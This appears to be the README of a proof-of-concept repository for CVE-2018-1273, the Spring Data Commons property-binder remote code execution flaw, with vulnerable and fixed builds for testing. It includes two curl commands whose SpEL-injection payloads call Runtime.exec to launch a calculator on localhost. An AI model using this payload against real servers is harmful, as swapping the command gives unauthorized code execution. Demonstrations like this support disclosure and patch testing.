hdgokani/cve-2018-1273PoC for CVE-2018-1273: Spring Data Commons property binder RCE via crafted request parameters against REST endpoints. Includes vulnerable and fixed versions for testing.
Spring Data Commons, versions prior to 1.13 to 1.13.10, 2.0 to 2.0.5, and older unsupported versions, contain a property binder vulnerability caused by improper neutralization of special elements. An unauthenticated remote malicious user (or attacker) can supply specially crafted request parameters against Spring Data REST backed HTTP resources or using Spring Data’s projection-based request payload binding hat can lead to a remote code execution attack.
More information here
The application can be tested with the vulnerable version or the fixed version of Spring Data Commons.
mvn spring-boot:run
mvn spring-boot:run -Dfixed
Run the following command to check if the vulnerability can be exploited:
curl -X POST http://localhost:8080/account -d "name[#this.getClass().forName('java.lang.Runtime').getRuntime().exec('calc.exe')]=123"
curl -X POST http://localhost:8080/account -d "name[#this.getClass().forName('java.lang.Runtime').getRuntime().exec('/Applications/Calculator.app/Contents/MacOS/Calculator')]=test"
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